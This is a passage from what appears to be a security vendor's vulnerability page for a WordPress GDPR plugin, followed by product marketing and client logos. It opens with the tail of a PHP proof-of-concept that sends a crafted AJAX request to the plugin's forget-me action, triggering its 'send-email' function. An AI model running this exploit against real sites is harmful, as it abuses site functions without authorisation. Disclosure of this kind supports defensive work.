    'action' => 'njt_gdpr_forget_me_request_action',
    'nonce' => $nonce,
    'request_action' => 'send-email',
    'ids' => array(1)
);

curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_data3));
$response3 = curl_exec($ch);

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School